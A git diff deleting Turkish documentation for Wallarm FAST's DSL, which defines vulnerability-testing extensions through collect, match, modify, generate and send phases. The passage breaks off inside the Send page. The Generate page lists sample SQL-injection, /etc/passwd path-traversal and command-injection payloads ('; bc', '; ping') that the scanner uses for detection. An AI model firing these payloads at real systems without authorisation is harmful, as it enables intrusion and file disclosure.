dokümantasyonunu görmek için şu [bağlantıya][link-juice-shop-docs] gidin. - -!!! warning "Güvenlik açığı barındıran bir uygulama ile çalışma" - OWASP Juice Shop'un çalıştığı ana makineye internet erişimi veya gerçek veriler (örneğin, kullanıcı adı/şifre çiftleri) sağlamaktan kaçınmanızı öneririz. - -“OWASP Juice Shop” hedef uygulamasını güvenlik açıklarına karşı test etmek için aşağıdaki adımları uygulayın: - -1. [Web uygulamasını inceleyin][link-app-examination] ve davranışına aşina olun. -2. [Örnek bir değiştirici uzantı oluşturun.][link-mod-extension] -3. [Örnek bir değişiklik yapmayan uzantı oluşturun.][link-non-mod-extension] -4. [Oluşturulan uzantıları kullanın.][link-using-extension] - -!!! info "İstek öğelerinin açıklama sözdizimi" - Bir FAST uzantısı oluştururken, noktaları kullanarak çalışmanız gereken istek öğelerini doğru şekilde tanımlayabilmek için uygulamaya gönderilen HTTP isteğinin ve uygulamadan alınan HTTP yanıtının yapısını anlamanız gerekir. - - Ayrıntılı bilgi için bu [bağlantıya][link-points] gidin. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/intro.md b/docs/latest-tr/fast/dsl/intro.md deleted file mode 100644 index 6b263344c5..0000000000 --- a/docs/latest-tr/fast/dsl/intro.md +++ /dev/null @@ -1,20 +0,0 @@ -[link-yaml]: https://yaml.org/spec/1.2/spec.html -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-points]: points/intro.md - -# FAST DSL Genel Bakış - -FAST, uzantıları tanımlamak için kullanıcılarına bir alan-özel dil (DSL) sağlar. Artık belirli bir programlama becerisine ihtiyaç duymadan uygulamanızdaki güvenlik açıklarını tespit etmek için özel uzantılar oluşturabilirsiniz. Uzantı mekanizması, temel istekleri işlerken ve hedef uygulamada güvenlik açıklarını ararken ek özel mantık uygulamanıza olanak tanır. - -FAST uzantıları, bir temel istekte seçilen parametrelerin değiştirilmesiyle veya önceden tanımlanmış bir payload kullanılarak oluşturulan güvenlik testlerinin üretilmesine olanak tanır. Oluşturulan güvenlik testleri ardından hedef uygulamaya gönderilir. Uygulamanın bu testlere verdiği yanıt, hedef uygulamada güvenlik açığı olup olmadığına ilişkin bir sonuca varmak için kullanılır (FAST uzantıları ayrıca güvenlik açıklarını tespit etme yöntemini de tanımlar). - -Uzantılar YAML kullanılarak tanımlanır. YAML sözdizimine ve YAML dosya yapısına aşina olduğunuzu varsayıyoruz. Ayrıntılı bilgi için bu [bağlantıya][link-yaml] gidin. - -Uzantı mantığı, düzenli ifadelerle tanımlanan öğeler içerebilir. FAST ifadeleri yalnızca Ruby dilinin düzenli ifade sözdizimini destekler. Ruby düzenli ifade sözdizimine aşina olduğunuz varsayılır. Ayrıntılı bilgi için bu [bağlantıya][link-ruby-regexp] gidin. - ---8<-- "../include/fast/cloud-note.md" - -!!! info "İstek öğesi tanım sözdizimi" - Bir FAST uzantısı oluştururken, noktaları kullanarak üzerinde çalışmanız gereken istek öğelerini doğru şekilde tanımlayabilmek için uygulamaya gönderilen HTTP isteğinin ve uygulamadan alınan HTTP yanıtının yapısını anlamanız gerekir. - - Ayrıntılı bilgi için bu [bağlantıya][link-points] gidin. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/logic.md b/docs/latest-tr/fast/dsl/logic.md deleted file mode 100644 index 41b4b29b39..0000000000 --- a/docs/latest-tr/fast/dsl/logic.md +++ /dev/null @@ -1,103 +0,0 @@ -[img-phases-mod-overview]: ../../images/fast/dsl/common/mod-phases.png -[img-phases-non-mod-overview]: ../../images/fast/dsl/common/non-mod-phases.png -[img-mod-workflow]: ../../images/fast/dsl/common/mod-workflow.png -[img-non-mod-workflow]: ../../images/fast/dsl/common/non-mod-workflow.png -[img-workers]: ../../images/fast/dsl/en/workers.png - -[img-incomplete-policy]: ../../images/fast/dsl/common/incomplete-policy.png -[img-incomplete-policy-remediation-1]: ../../images/fast/dsl/common/incomplete-policy-remediation-1.png -[img-incomplete-policy-remediation-2]: ../../images/fast/dsl/common/incomplete-policy-remediation-2.png -[img-wrong-baseline]: ../../images/fast/dsl/common/wrong-baseline.png - -[link-policy]: ../terms-glossary.md#test-policy -[doc-policy-in-detail]: ../operations/test-policy/overview.md - -[link-phase-collect]: phase-collect.md -[link-phase-match]: phase-match.md -[link-phase-modify]: phase-modify.md -[link-phase-generate]: phase-generate.md -[link-phase-send]: phase-send.md -[link-phase-detect]: detect/phase-detect.md - -[doc-collect-uniq]: phase-collect.md#the-uniqueness-condition -[doc-point-uri]: points/parsers/http.md#uri-filter - -[link-points]: points/intro.md - - -# Uzantıların Mantığı - -Bir uzantının mantığı birkaç aşama kullanılarak açıklanabilir: -1. [Topla][link-phase-collect] -2. [Eşleştir][link-phase-match] -3. [Değiştir][link-phase-modify] -4. [Üret][link-phase-generate] -5. [Gönder][link-phase-send] -6. [Tespit][link-phase-detect] - -Bu aşamaları birleştirerek, FAST DSL iki tür uzantıyı tanımlamanıza olanak tanır: -* İlki, gelen bir temel isteğin parametrelerini değiştirerek bir veya daha fazla test isteği oluşturur. - - Bu uzantı, bu kılavuz boyunca “değiştirici uzantı” olarak anılacaktır. - -* İkincisi, önceden tanımlanmış test isteklerini kullanır ve gelen temel isteğin parametrelerini değiştirmez. - - Bu uzantı, bu kılavuz boyunca “değiştirmeyen uzantı” olarak anılacaktır. - -Her uzantı türü, farklı bir aşama kümesi kullanır. Bu aşamaların bazıları zorunlu, bazıları ise değildir. - -Tespit (Detect) aşamasının kullanımı her uzantı türü için zorunludur. Bu aşama, hedef uygulamanın test isteklerine verdiği yanıtları alır. Uzantı, uygulamada belirli güvenlik açıklarının olup olmadığını belirlemek için bu yanıtları kullanır. Tespit aşamasından elde edilen bilgiler Wallarm Cloud’a gönderilir. - -!!! info "İstek öğeleri açıklama sözdizimi" - Bir FAST uzantısı oluştururken, noktaları kullanarak üzerinde çalışmanız gereken istek öğelerini doğru şekilde tanımlayabilmek için uygulamaya gönderilen HTTP isteğinin ve uygulamadan alınan HTTP yanıtının yapısını anlamanız gerekir. - - Ayrıntılı bilgi için şu [bağlantıya][link-points] gidin. - -## Değiştirici Bir Uzantı Nasıl Çalışır - -Bir değiştirici uzantı çalışırken, bir temel istek sırasıyla Topla, Eşleştir, Değiştir ve Üret aşamalarından geçer; bunların tamamı isteğe bağlıdır ve uzantıya dahil edilmeyebilir. Bu aşamalardan geçmenin sonucu olarak tek bir test isteği veya birden fazla test isteği oluşturulur. Bu istekler, güvenlik açıklarını kontrol etmek için hedef uygulamaya gönderilir. - -!!! info "İsteğe bağlı aşamalar olmadan bir uzantı" - Temel isteğe hiçbir isteğe bağlı aşama uygulanmazsa, test isteği temel istekle eşleşir. - -![Değiştirici uzantı aşamalarına genel bakış][img-phases-mod-overview] - -Bir temel istek tanımlanmış FAST [test politikasını][doc-policy-in-detail] karşılıyorsa, istek işlenmesine izin verilen bir veya daha fazla parametre içerir. Değiştirici uzantı bu parametreler üzerinde yineleme yapar: - - 1. Her parametre uzantı aşamalarından geçer ve ilgili test istekleri oluşturulup yürütülür. - 2. Uzantı, politikaya uyan tüm parametreler işlenene kadar bir sonraki parametreyle devam eder. - -Aşağıdaki görsel, örnek olarak bazı POST parametrelerine sahip bir POST isteğini göstermektedir. - -![Değiştirici uzantı iş akışına genel bakış][img-mod-workflow] - -## Değiştirmeyen Bir Uzantı Nasıl Çalışır - -Bir değiştirmeyen uzantı çalışırken, temel istek tek bir Gönder (Send) aşamasından geçer. - -Bu aşamadayken, yalnızca ana makine adı veya IP adresi, temel isteğin `Host` başlığının değerinden türetilir. Ardından, önceden tanımlanmış test istekleri bu ana makineye gönderilir. - -FAST düğümünün aynı `Host` başlık değerine sahip birden çok gelen temel istekle karşılaşma olasılığı nedeniyle, bu istekler örtük Topla aşamasından geçerek yalnızca benzersiz `Host` başlık değerine sahip istekleri toplar (bkz. [“Benzersizlik Koşulu”][doc-collect-uniq]). - -![Değiştirmeyen uzantı aşamalarına genel bakış][img-phases-non-mod-overview] - -Bir değiştirmeyen uzantı çalışırken, Gönder aşamasında işlenen her temel isteğin `Host` başlığında belirtilen ana makineye bir veya daha fazla önceden tanımlanmış test isteği gönderilir: - -![Değiştirmeyen uzantı iş akışına genel bakış][img-non-mod-workflow] - - -## Uzantılar İstekleri Nasıl İşler - -### Bir İsteğin Birden Fazla Uzantıyla İşlenmesi - -Aynı anda bir FAST düğümü tarafından kullanılmak üzere birkaç uzantı tanımlanabilir. -Her gelen temel istek, takılı olan tüm uzantılardan geçer. - -![İşçiler tarafından kullanılan uzantılar][img-workers] - -Her anda, uzantı tek bir temel isteği işler. FAST paralel temel istek işlemeyi destekler; alınan temel isteklerin her biri, işlemi hızlandırmak için müsait bir worker’a gönderilir. Farklı worker’lar, farklı temel istekler için aynı uzantıları aynı anda çalıştırabilir. Uzantı, temel isteğe dayanarak test isteklerinin oluşturulup oluşturulmayacağını tanımlar. - -FAST düğümünün paralel olarak işleyebileceği istek sayısı, worker sayısına bağlıdır. Worker sayısı, FAST düğümü Docker konteyneri çalıştırılırken ortam değişkeni `WORKERS` için atanan değerle belirlenir (öntanımlı değer 10’dur). - -!!! info "Test politikası ayrıntıları" - Test politikalarıyla çalışmaya ilişkin daha ayrıntılı açıklama şu [bağlantıda][doc-policy-in-detail] mevcuttur. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/phase-collect.md b/docs/latest-tr/fast/dsl/phase-collect.md deleted file mode 100644 index 6f05a75965..0000000000 --- a/docs/latest-tr/fast/dsl/phase-collect.md +++ /dev/null @@ -1,117 +0,0 @@ -[link-points]: points/intro.md -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-ext-logic]: logic.md - -[img-collect-uniq]: ../../images/fast/dsl/en/phases/collect-uniq.png - -# Collect Aşaması - -!!! info "Aşamanın kapsamı" - Bu aşama, değiştirici (modifying) bir uzantıda kullanılır ve çalışması için isteğe bağlıdır (`collect` bölümü YAML dosyasında bulunmayabilir veya bulunabilir). - - Ayrıca, benzersizlik koşulunu kullandığı için bu aşama, değişiklik yapmayan (nonmodifying) bir uzantı tarafından da örtük olarak kullanılır. - - Uzantı türleri hakkında ayrıntılı bilgiyi [burada][link-ext-logic] okuyun. - -!!! info "İstek öğeleri açıklama söz dizimi" - FAST uzantısı oluştururken, points kullanarak üzerinde çalışmanız gereken istek öğelerini doğru tanımlayabilmek için uygulamaya gönderilen HTTP isteğinin ve uygulamadan alınan HTTP yanıtının yapısını anlamanız gerekir. - - Ayrıntılı bilgi için bu [bağlantıya][link-points] gidin. - - Bu aşama, belirtilen koşulu sağlayan tüm temel (baseline) istekleri toplar. Bir isteğin toplanmasına karar verirken, aşama test çalışması sırasında daha önce toplanmış istekler hakkındaki bilgileri kullanır. - -Temel istek toplama prosedürü gerçek zamanlı gerçekleşir. Her bir istek, FAST düğümünün temel istekleri yazdığı sıraya göre işlenir. Collect aşaması tarafından isteklerin işlenip toplanabilmesi için, istek yazma sürecinin tamamlanmasını beklemeye gerek yoktur. - -## Benzersizlik Koşulu - -Benzersizlik koşulu, belirtilen ölçütlere göre benzersiz olmayan temel isteklerin kalan aşamalarda işlenmesine izin vermez. Bu şekilde elenen istekler için test istekleri oluşturulmaz. Hedef uygulama aynı türden birden fazla temel istek alıyorsa yükün azaltılmasında yararlı olabilir. - -Alınan her isteğin benzersizliği, daha önce alınmış isteklerdeki verilere dayanarak belirlenir. - -![Benzersizlik koşullu Collect aşaması][img-collect-uniq] - -Temel isteğin benzersizliğini belirlemek için kullanılacak istek öğelerinin listesi, benzersizlik koşulunda tanımlanır. - -Temel istek alındığında, Collect aşamasındaki uzantı listedeki her bir istek öğesi için aşağıdaki işlemleri gerçekleştirir: -1. Temel istekte böyle bir öğe yoksa, listedeki bir sonraki öğeye geçin. -2. Temel istekte böyle bir öğe varsa ve bu öğenin verisi benzersizse (başka bir deyişle, daha önce alınan temel isteklerin hiçbirinin verisiyle eşleşmiyorsa), bu temel isteği benzersiz olarak kabul edin ve sonraki aşamalara iletin. Bu istek öğesinin verisini hatırlayın. -3. Temel istekte böyle bir öğe varsa ve bu öğenin verisi benzersiz değilse (başka bir deyişle, daha önce alınan temel isteklerin verileriyle eşleşiyorsa), bu temel isteği benzersizlik koşulunu karşılamadığından dolayı el deyin. Uzantı bu istek için yürütülmeyecektir. -4. Listenin sonuna gelinirse ve benzersizlik için kontrol edilebilecek herhangi bir istek öğesi bulunamazsa, bu temel isteği el deyin. Uzantı bu istek için yürütülmeyecektir. - -Benzersizlik koşulunu, uzantının YAML dosyasındaki `collect` bölümünde, temel isteğin benzersizliğinin tanımlanacağı öğeleri içeren `uniq` listesiyle ifade edebilirsiniz. - -``` -collect: - - uniq: - - [request element] - - [request element 1, request element 2, …, request element N] - - testrun -``` - -Listedeki istek öğesi, [Ruby düzenli ifade biçiminde düzenli ifadeler][link-ruby-regexp] içerebilir. - -`uniq` benzersizlik koşulu, temel isteğin benzersizliğini kontrol etmek için kullanılan verileri içeren istek öğelerinden oluşan bir diziden oluşur. Ayrıca `testrun` parametresi de kullanılabilir. - -Benzersizlik koşulu parametreleri şunlardır: - -* **`- [request element]`** - - İsteğin benzersiz sayılması için, istek öğesindeki verinin benzersiz olması gerekir. - - ??? info "Örnek" - `- [GET_uid_value]` — isteğin benzersizliği `uid` GET parametresi verisine göre tanımlanır (başka bir deyişle, uzantı `uid` GET parametresinin benzersiz değerine sahip her bir temel istek için çalıştırılmalıdır). - - * `example.com/example/app.php?uid=1` benzersiz bir istektir. - * `example.com/demo/app.php?uid=1` benzersiz bir istek değildir. - * `example.com/demo/app.php?uid=` benzersiz bir istektir. - * `example.org/billing.php?uid=1` benzersiz bir istek değildir. - * `example.org/billing.php?uid=abc` benzersiz bir istektir. - -* **`- [request element 1, request element 2, …, request element N]`** - - İsteğin benzersiz sayılması için, N öğesinden oluşan bir küme içermeli ve bu kümenin her bir istek öğesi verisi benzersiz olmalıdır. - - ??? info "Örnek 1" - `- [GET_uid_value, HEADER_COOKIE_value]` — isteğin benzersizliği `uid` GET parametresi verisi ve `Cookie` HTTP başlığı verisine göre belirlenir (başka bir deyişle, uzantı `uid` GET parametresinin ve `Cookie` başlığının benzersiz değerine sahip her bir temel istek için çalıştırılmalıdır). - - * `example.org/billing.php?uid=1, Cookie: client=john` benzersiz bir istektir. - * `example.org/billing.php?uid=1, Cookie: client=ann` benzersiz bir istektir. - * `example.com/billing.aspx?uid=1, Cookie: client=john` benzersiz bir istek değildir. - - ??? info "Örnek 2" - `- [PATH_0_value, PATH_1_value]` — isteğin benzersizliğini yolun birinci ve ikinci öğesinden oluşan çifte göre tanımlayın (başka bir deyişle, `PATH_0` ve `PATH_1` parametrelerini içeren çiftin benzersiz değerine sahip her bir temel istek için uzantıyı çalıştırın). - - Wallarm, öğe işleme sırasında istek öğelerini ayrıştırır. `/en-us/apps/banking/` biçimindeki her bir URI yolu için Path ayrıştırıcısı, yolun her öğesini PATH dizisine yerleştirir. - - Dizi öğelerinin her birinin değerine dizinini kullanarak erişebilirsiniz. Yukarıda bahsedilen `/en-us/apps/banking/` yolu için ayrıştırıcı aşağıdaki verileri sağlar: - - * `"PATH_0_value": "en-us"` - * `"PATH_1_value": "apps"` - * `"PATH_2_value": "banking"` - - Dolayısıyla, `[PATH_0_value, PATH_1_value]` için benzersizlik koşulu, yolun birinci ve ikinci öğesinde farklı değerler içeren herhangi bir istek tarafından sağlanır. - - * `example.com/en-us/apps/banking/charge.php` benzersiz bir istektir. - * `example.com/en-us/apps/banking/vip/charge.php` benzersiz bir istek değildir. - * `example.com/de-de/apps/banking/vip/charge.php` benzersiz bir istektir. - -* **`- testrun`** - - Test isteği başarıyla oluşturulursa (başka bir deyişle, diğer tüm aşamalar geçilirse), uzantı test çalışması başına bir kez yürütülür. - - Örneğin, alınan temel isteğe dayanarak test istekleri oluşturulamıyorsa, çünkü temel istekler Match aşamasında eleniyorsa, Collect aşamasındaki uzantı temel istekleri toplamaya, bunlardan biri Match aşamasından geçip hedef uygulama için test istekleri onun üzerinden oluşturulana kadar devam eder. - - `testrun` parametresini kullanıyorsanız, `uniq` listesinde herhangi bir istek öğesini kullanmak yasaktır. `uniq` benzersizlik koşulu tek bir öğe içerecektir. - - ``` - collect: - - uniq: - - testrun - ``` - - `uniq` listesinde birden fazla öğe varsa, temel isteğin benzersiz sayılabilmesi için istek, `uniq` listesindeki en az bir benzersiz parametreye sahip olmalıdır. - - - -!!! info "Collect aşaması parametreleri" - Şu anda Collect aşamasında yalnızca alınan temel istekler için benzersizlik koşulu desteklenmektedir. Gelecekte, bu aşamanın işlevselliği genişletilebilir. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/phase-generate.md b/docs/latest-tr/fast/dsl/phase-generate.md deleted file mode 100644 index 2fff52ba5a..0000000000 --- a/docs/latest-tr/fast/dsl/phase-generate.md +++ /dev/null @@ -1,131 +0,0 @@ -[link-points]: points/intro.md -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-logic]: logic.md -[link-markers]: detect/markers.md -[link-ext-logic]: logic.md - -[img-generate-methods]: ../../images/fast/dsl/en/phases/generate-methods.png -[img-generate-payload]: ../../images/fast/dsl/en/phases/generate-payload.png - -# Oluşturma Aşaması - -!!! info "Aşamanın kapsamı" - Bu aşama, değişiklik yapan bir uzantıda kullanılır ve çalışması için isteğe bağlıdır (`generate` bölümü YAML dosyasında bulunmayabilir veya bulunabilir). - - Bu aşama, değişiklik yapmayan uzantının YAML dosyasında bulunmamalıdır. - - Uzantı türleri hakkında ayrıntılı bilgiyi [buradan][link-ext-logic] okuyun. - -!!! info "İstek öğesi tanım sözdizimi" - Bir FAST uzantısı oluştururken, noktaları kullanarak çalışmanız gereken istek öğelerini doğru şekilde tanımlayabilmek için uygulamaya gönderilen HTTP isteğinin ve uygulamadan alınan HTTP yanıtının yapısını anlamanız gerekir. - - Ayrıntılı bilgi için şu [bağlantıya][link-points] gidin. - - Bu aşama, bir test isteği oluşturmak için temel isteğin belirli parametrelerine eklenecek payload’ı belirtir; bu test istekleri temel isteğe dayanır. - -`generate` bölümü aşağıdaki yapıya sahiptir: - -``` -generate: - - into: - - parameter 1 - - parameter 2 - - … - - parameter N - - method: - - postfix - - prefix - - random - - replace - - payload: - - payload 1 - - payload 2 - - … - - payload N -``` - -* `into` parametresi, payload’ın ekleneceği tekil veya birden fazla istek öğesini belirtmenize olanak tanır. Bu parametrenin değeri bir string veya string dizisi olabilir. `into` parametresinin değeri olarak bir [Ruby biçimli düzenli ifade][link-ruby-regexp] kullanabilirsiniz. - - Bu parametre isteğe bağlıdır ve bölümde yer almayabilir. `into` parametresi atlanırsa, payload verilen test ilkesine göre değiştirilebilir olan istek öğesine eklenir. - - Varsayalım ki test ilkesine göre temel istekten aşağıdaki değiştirilebilir istek öğeleri çıkarıldı: - - * `GET_uid_value` - * `HEADER_COOKIE_value` - - Uzantı tüm değiştirilebilir öğeleri (ekleme noktaları olarak da bilinir) sırasıyla işler. - - Eğer `into` parametresi yoksa, payload’lar sırasıyla `GET_uid_value` parametresine yapıştırılır ve oluşturulan test istekleri hedef uygulamanın güvenlik açıkları için kontrol edilmesinde kullanılır. Daha sonra test isteklerinin sonuçları işlendiğinde, uzantı `HEADER_COOKIE_value` parametresini işler ve payload’ları benzer şekilde bu parametreye ekler. - - Aşağıdaki örnekte gösterildiği gibi `into` parametresi `GET_uid_value` istek parametresini içeriyorsa, payload `GET_uid_value` parametresine eklenir; ancak `HEADER_COOKIE_value` parametresine eklenmez. - - ``` - into: - - 'GET_uid_value' - ``` - Aşağıdaki örnek yalnızca bir parametre içerdiği için, into parametresinin değeri tek satırda yazılabilir: - - `into: 'GET_uid_value'` - -* `method` — bu isteğe bağlı parametre, payload’ı temel istek öğesine eklemek için kullanılacak yöntemlerin listesini belirtir. - * `prefix` — payload’ı temel istek öğesi değerinin önüne ekler. - * `postfix` — payload’ı temel istek öğesi değerinin sonuna ekler. - * `random` — payload’ı temel istek öğesi değeri içinde rastgele bir yere ekler. - * `replace` — temel istek öğesi değerini payload ile değiştirir. - - ![Payload ekleme yöntemleri][img-generate-methods] - - `method` parametresi yoksa varsayılan olarak `replace` yöntemi kullanılır. - - Oluşturulan test isteklerinin sayısı, belirtilen `method` sayısına bağlıdır: ekleme yöntemi başına bir test isteği. - - Örneğin, aşağıdaki ekleme yöntemleri belirtilmişse: - - ``` - method: - - prefix - - replace - ``` - - o zaman tek bir payload için iki test isteği oluşturulur; iki payload için dört test isteği oluşturulur (her payload için iki test isteği) vb. - -* `payload` parametresi, hedef uygulamayı güvenlik açıkları için test edecek test isteğini oluşturmak amacıyla istek parametresine eklenecek payload listesini belirtir. - - Bu parametre zorunludur ve bölümde her zaman bulunmalıdır. Liste en az bir payload içermelidir. Birden fazla payload varsa, FAST düğümü payload’ları sırayla istek parametresine ekler ve oluşturulan her bir test isteğini kullanarak hedef uygulamayı güvenlik açıkları açısından test eder. - - ![Payload oluşturma][img-generate-payload] - - Payload, istek işleme sırasında parametrelerden birine eklenen bir string’dir. - - ??? info "Birden çok payload örneği" - ``` - payload: - - "') or 1=('1" - - "/%5c../%5c../%5c../%5c../%5c../%5c../%5c../etc/passwd/" - ``` - - Güvenlik açığı tespit olanaklarını daha da genişletmek için payload’ın bir parçası olarak özel işaretçiler kullanabilirsiniz: - - * **`STR_MARKER`** — payload içinde `STR_MARKER`’ın belirtildiği konuma tam olarak rastgele bir string ekler. - - Örneğin, `STR_MARKER` bir XXS güvenlik açığını kontrol etmek için kullanılabilir. - - ??? info "Örnek" - `'userSTR_MARKER'` - - * **`CALC_MARKER`** — payload içinde `CALC_MARKER`’ın belirtildiği konuma tam olarak rastgele bir aritmetik ifade içeren (örneğin, `1234*100`) bir string ekler. - - Örneğin, `CALC_MARKER` bir RCE güvenlik açığını kontrol etmek için kullanılabilir. - - ??? info "Örnek" - `'; bc <<< CALC_MARKER'` - - * **`DNS_MARKER`** — payload içinde `DNS_MARKER`’ın belirtildiği konuma tam olarak rastgele bir alan adı (örneğin, `r4nd0m.wlrm.tl`) içeren bir string ekler. - - Örneğin, `DNS_MARKER` DNS Out-of-Bound güvenlik açıklarını kontrol etmek için kullanılabilir. - - ??? info "Örnek" - `'; ping DNS_MARKER'` - - !!! info "İşaretçilerin çalışma mantığı" - Detect aşaması, sunucunun yanıtında herhangi bir payload’daki işaretçiyi tespit ederse saldırı başarılı sayılır, yani güvenlik açığı başarıyla istismar edilmiştir. İşaretçilerle çalışan Detect aşaması hakkında ayrıntılı bilgi için şu [bağlantıya][link-markers] gidin. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/phase-match.md b/docs/latest-tr/fast/dsl/phase-match.md deleted file mode 100644 index 5fdca975b2..0000000000 --- a/docs/latest-tr/fast/dsl/phase-match.md +++ /dev/null @@ -1,51 +0,0 @@ -[link-points]: points/intro.md -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-ext-logic]: logic.md - -# Match Aşaması - -!!! info "Aşamanın kapsamı" - Bu aşama, değiştirici bir eklentide kullanılır ve çalışması için isteğe bağlıdır (YAML dosyasında `match` bölümü ya bulunmayabilir ya da bulunabilir). - - Bu aşama, değiştirmeyen eklentinin YAML dosyasında bulunmamalıdır. - - Eklenti türleri hakkında ayrıntılı bilgiyi [burada][link-ext-logic] okuyun. - -!!! info "İstek öğesi tanımlama sözdizimi" - Bir FAST eklentisi oluştururken, çalışmanız gereken istek öğelerini noktaları kullanarak doğru biçimde tanımlayabilmek için uygulamaya gönderilen HTTP isteğinin ve uygulamadan alınan HTTP yanıtının yapısını anlamanız gerekir. - - Ayrıntılı bilgi için bu [bağlantı][link-points]ya gidin. - - Bu aşama, gelen temel isteğin belirtilen ölçütlerle eşleşip eşleşmediğini kontrol eder. - -Eklenti YAML dosyasındaki `match` bölümü, `` çiftlerinden oluşan bir dizi içerir. Her çift, isteğin belirli bir öğesini (anahtar) ve bu öğenin verilerini (değer) açıklar. Anahtar ve değer, [Ruby düzenli ifade biçiminde][link-ruby-regexp] düzenli ifadeler içerebilir. - -Match Aşaması, temel istek içinde verilen tüm `` çiftleri için eşleşmeler arar. -* İstek, gerekli verilerle birlikte gerekli öğelerin varlığına göre (örneğin, URL’deki yol değeri, GET parametresi veya HTTP başlığı) kontrol edilir. - - ??? info "Örnek 1" - `'GET_a_value': '^\d+$'` — `a` adlı GET parametresinin, yalnızca rakamlardan oluşan bir değerle istekte bulunması gerekir. - - ??? info "Örnek 2" - `'GET_b*_value': '.*'` — adı `b` ile başlayan GET parametresinin, herhangi bir değerle (boş değer dahil) istekte bulunması gerekir. - -* Belirli bir anahtar için değer `null` olarak ayarlanmışsa, istekte ilgili öğenin yokluğu kontrol edilir. - - ??? info "Örnek" - `'GET_a': null` — `a` adlı GET parametresi istekte bulunmamalıdır. - -Temel isteğin Match Aşamasından geçebilmesi için, isteğin `match` bölümündeki tüm `` çiftlerini sağlaması gerekir. `match` bölümünde tanımlanan `` çiftlerinden herhangi biri için temel istekte eşleşme bulunamazsa, istek atılır. - -??? info "Örnek" - Aşağıda gösterilen `match` bölümü, `` çiftlerinin listesini içerir. Temel isteğin Match Aşamasından geçebilmesi için bu çiftlerin tümünü sağlaması gerekir. - - ``` - match: - - 'HEADER_HOST_value': 'example.com' - - 'GET_password_value': '^\d+$' - - 'HEADER_CONTENT-TYPE_value': null - ``` - - 1. Temel istek, değeri `example.com` alt dizesini içeren `Header` adlı HTTP başlığını içermelidir. - 2. `password` GET parametresinin değeri yalnızca rakamlardan oluşmalıdır. - 3. `Content-Type` başlığı bulunmamalıdır. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/phase-modify.md b/docs/latest-tr/fast/dsl/phase-modify.md deleted file mode 100644 index 2a52e17ae9..0000000000 --- a/docs/latest-tr/fast/dsl/phase-modify.md +++ /dev/null @@ -1,49 +0,0 @@ -[link-points]: points/intro.md -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-ext-logic]: logic.md - -[img-modify]: ../../images/fast/dsl/common/phases/modify.png - -# Modify Aşaması - -!!! info "Aşamanın kapsamı" - Bu aşama, değiştirici bir uzantıda kullanılır ve çalışması için isteğe bağlıdır (YAML dosyasında `modify` bölümü ya bulunmayabilir ya da bulunabilir). - - Bu aşama, değiştirici olmayan bir uzantının YAML dosyasında yer almamalıdır. - - Uzantı türleri hakkında ayrıntılı bilgiyi [burada][link-ext-logic] okuyun. - -!!! info "İstek öğeleri açıklama sözdizimi" - Bir FAST uzantısı oluştururken, üzerinde points kullanarak çalışmanız gereken istek öğelerini doğru şekilde tanımlayabilmek için uygulamaya gönderilen HTTP isteğinin ve uygulamadan alınan HTTP yanıtının yapısını anlamanız gerekir. - - Ayrıntılı bilgi için bu [bağlantı][link-points] üzerinden ilerleyin. - - Bu aşama, gerekirse temel isteğin parametrelerinin değerlerini değiştirir. Modify aşaması kullanılarak, temel istekte bulunmayan yeni bir öğe eklenemez. Örneğin, temel istek `Cookie` HTTP başlığını içermiyorsa bu başlığı ekleyemezsiniz. - -Uzantı YAML dosyasındaki `modify` bölümü, `` çiftlerinden oluşan bir dizi içerir. Her çift, belirli bir istek öğesini (anahtar) ve bu öğeye yerleştirilmesi gereken veriyi (değer) açıklar. Anahtar, [Ruby düzenli ifade biçimi][link-ruby-regexp]nde düzenli ifadeler içerebilir. Düzenli ifadeler anahtarın değerine uygulanamaz. - -Modify aşamasında, öğeye yeni değerler atayabilir veya öğenin verilerini silebilirsiniz. - -* Anahtarın değeri belirtilmişse, bu değer karşılık gelen temel istek öğesine atanır. Temel istekte anahtara karşılık gelen bir öğe yoksa, yeni bir öğe eklenmez. - - ??? info "Örnek 1" - `'HEADER_COOKIE_value': 'C=qwerty123'` - - ![Modify aşaması](../../images/fast/dsl/en/phases/modify.png) - -* Anahtarın değeri belirtilmemişse, karşılık gelen temel istek öğesinin değeri temizlenir. - - ??? info "Örnek" - `'HEADER_COOKIE_value': ""` - -??? info "Örnek" - Aşağıdaki örnekte temel istek şu şekilde değiştirilecektir: - - 1. `Content-Type` başlığının değeri `application/xml` ile değiştirilecektir. - 2. `uid` GET parametresinin değeri temizlenecektir (parametrenin kendisi kaldırılmayacaktır). - - ``` - modify: - - "HEADER_CONTENT-TYPE_value": "application/xml" - - "GET_uid_value": "" - ``` \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/phase-send.md b/docs/latest-tr/fast/dsl/phase-send.md deleted file mode 100644 index 5823986695..0000000000 --- a/docs/latest-tr/fast/dsl/phase-send.md +++ /dev/null @@ -1,92 +0,0 @@ -[link-ext-logic]: logic.md - -# Gönder Aşaması - -!!! info "Aşamanın kapsamı" - Bu aşama, değişiklik yapmayan bir uzantının çalışması için zorunludur (YAML dosyasında `send` bölümü bulunmalıdır). - - Bu aşama, değiştirici bir uzantıda bulunmaz; çünkü Gönder (Send) aşaması diğer aşamalarla birleştirildiğinde (Tespit (Detect) aşaması ve örtük Toplama (Collect) aşaması hariç) onları kullanılamaz hâle getirir. - - Uzantı türleri hakkında ayrıntılı bilgiyi [burada][link-ext-logic] okuyun. - - Bu aşama, önceden tanımlanmış test isteklerini göndererek hedef uygulamayı zafiyetler için test eder. Test isteklerinin gönderileceği ana makine, gelen temel isteklerdeki `Host` üstbilgisi değerine göre belirlenir. - -`send` bölümü aşağıdaki yapıya sahiptir: - -``` -send: - - method: - url: - headers: - - header 1: value - ... - - header N: value - body: - ... - - method: - ... -``` - -Uzantının YAML dosyasındaki `send` bölümü bir veya daha fazla parametre kümesi içerir. Her bir parametre bir `` çifti olarak belirtilir. Belirli bir parametre kümesi, test isteği olarak 